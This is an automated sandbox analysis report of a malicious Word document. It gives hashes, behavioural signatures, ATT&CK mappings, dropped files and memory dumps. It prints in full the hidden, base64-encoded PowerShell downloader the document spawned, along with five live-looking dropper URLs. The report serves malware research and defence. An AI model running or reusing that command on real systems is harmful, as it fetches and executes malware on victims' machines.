487f4dd9bdbe94a9cf1a04a8fdec19f16f86864d05d06f0511544b3ff68c850c

Analysis

max time kernel
120s
max time network
114s
platform
windows10-2004_x64
resource
win10v2004-20250410-en
resource tags

arch:x64arch:x86image:win10v2004-20250410-enlocale:en-usos:windows10-2004-x64system
submitted
14/04/2025, 13:48

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General

Target

virusshare/1/VirusShare_1ba8249d8503c0cf7bc125588c43bef9.doc
Size

182KB
MD5

1ba8249d8503c0cf7bc125588c43bef9
SHA1

eb473c845c7474010ff35a3e8a169a9b6b9e5ebe
SHA256

a44031feb2a71980a0980377c8f7b6f3b5b9dfa0f708556dd420be323c7e1a38
SHA512

b5421ca474e8ccd30683b90a83e98c6ba74c8418201aaa923ba6c7805ef724b37dfabb74cfedccbb69e3fcf923635f64faa406f280057404f78957df3d840c8c
SSDEEP

3072:9NO2y/GdywFyktGDWLS0HZWD5w8K7Nk9rD7IBU9asiv8Oc7V:9NO2k4PF7tGiL3HJk9rD7b9asiv8dZ

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1124	1908	Powershell.exe	86

Blocklisted process makes network request 2 IoCs

flow	pid	Process
18	1124	Powershell.exe
19	1124	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1124	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3920	WINWORD.EXE
3920	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1124	Powershell.exe
1124	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1124	Powershell.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3920 wrote to memory of 1296	3920	WINWORD.EXE	87
PID 3920 wrote to memory of 1296	3920	WINWORD.EXE	87

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\virusshare\1\VirusShare_1ba8249d8503c0cf7bc125588c43bef9.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3920
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1296

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1124

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\B56787AF.wmf

Filesize
444B

MD5
8a03336b32ec1a4a0011e37f40f51153

SHA1
23c19edda0db08cfd6ec83b78593ac9a2fef40bd

SHA256
3153398ba420b77feebf53b8b9a0807109c3bb476007a0ba815e065881e263f2

SHA512
410197c921c3444ed671b18e863107b24e12178f6ae605023cdf0e4e11d87992cc40b2545fd1b917effb1786f39bdc2d8241a37247cea8f8c061e200b0767762

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDCBDF.tmp\sist02.xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ps2qxt44.gfw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
1KB

MD5
b2e9eb76d106b34c2c529ac29c428fd4

SHA1
146545e97470d772f0f9747369b8977eefd83ea1

SHA256
7d4f650353aa3abb03974d4854fd6194f508e06e7cb73e539370a544fe7a8cdd

SHA512
503a974780ce0ac1d7b2d28c50fe44304582d02ab2b17e432a5692747682c9849374602f868fc38d555ec5beb6392f325f04efc8543d56c42ab67647b7444c31

Download Submit
memory/1124-49-0x0000020CF7560000-0x0000020CF7582000-memory.dmp

Filesize
136KB

Download
memory/3920-14-0x00007FFE22AC0000-0x00007FFE22AD0000-memory.dmp

Filesize
64KB

Download
memory/3920-4-0x00007FFE64C50000-0x00007FFE64E45000-memory.dmp

Filesize
2.0MB

Download
memory/3920-10-0x00007FFE64C50000-0x00007FFE64E45000-memory.dmp

Filesize
2.0MB

Download
memory/3920-11-0x00007FFE64C50000-0x00007FFE64E45000-memory.dmp

Filesize
2.0MB

Download
memory/3920-9-0x00007FFE64C50000-0x00007FFE64E45000-memory.dmp

Filesize
2.0MB

Download
memory/3920-8-0x00007FFE24CD0000-0x00007FFE24CE0000-memory.dmp

Filesize
64KB

Download
memory/3920-12-0x00007FFE22AC0000-0x00007FFE22AD0000-memory.dmp

Filesize
64KB

Download
memory/3920-13-0x00007FFE64C50000-0x00007FFE64E45000-memory.dmp

Filesize
2.0MB

Download
memory/3920-0-0x00007FFE24CD0000-0x00007FFE24CE0000-memory.dmp

Filesize
64KB

Download
memory/3920-7-0x00007FFE64C50000-0x00007FFE64E45000-memory.dmp

Filesize
2.0MB

Download
memory/3920-5-0x00007FFE64C50000-0x00007FFE64E45000-memory.dmp

Filesize
2.0MB

Download
memory/3920-6-0x00007FFE24CD0000-0x00007FFE24CE0000-memory.dmp

Filesize
64KB

Download
memory/3920-2-0x00007FFE24CD0000-0x00007FFE24CE0000-memory.dmp

Filesize
64KB

Download
memory/3920-63-0x00007FFE64C50000-0x00007FFE64E45000-memory.dmp

Filesize
2.0MB

Download
memory/3920-66-0x00007FFE64CED000-0x00007FFE64CEE000-memory.dmp

Filesize
4KB

Download
memory/3920-67-0x00007FFE64C50000-0x00007FFE64E45000-memory.dmp

Filesize
2.0MB

Download
memory/3920-68-0x00007FFE64C50000-0x00007FFE64E45000-memory.dmp

Filesize
2.0MB

Download
memory/3920-3-0x00007FFE24CD0000-0x00007FFE24CE0000-memory.dmp

Filesize
64KB

Download
memory/3920-1-0x00007FFE64CED000-0x00007FFE64CEE000-memory.dmp

Filesize
4KB

Download
memory/3920-215-0x00007FFE24CD0000-0x00007FFE24CE0000-memory.dmp

Filesize
64KB

Download
memory/3920-216-0x00007FFE24CD0000-0x00007FFE24CE0000-memory.dmp

Filesize
64KB

Download
memory/3920-218-0x00007FFE24CD0000-0x00007FFE24CE0000-memory.dmp

Filesize
64KB

Download
memory/3920-217-0x00007FFE24CD0000-0x00007FFE24CE0000-memory.dmp

Filesize
64KB

Download
memory/3920-219-0x00007FFE64C50000-0x00007FFE64E45000-memory.dmp

Filesize
2.0MB

Download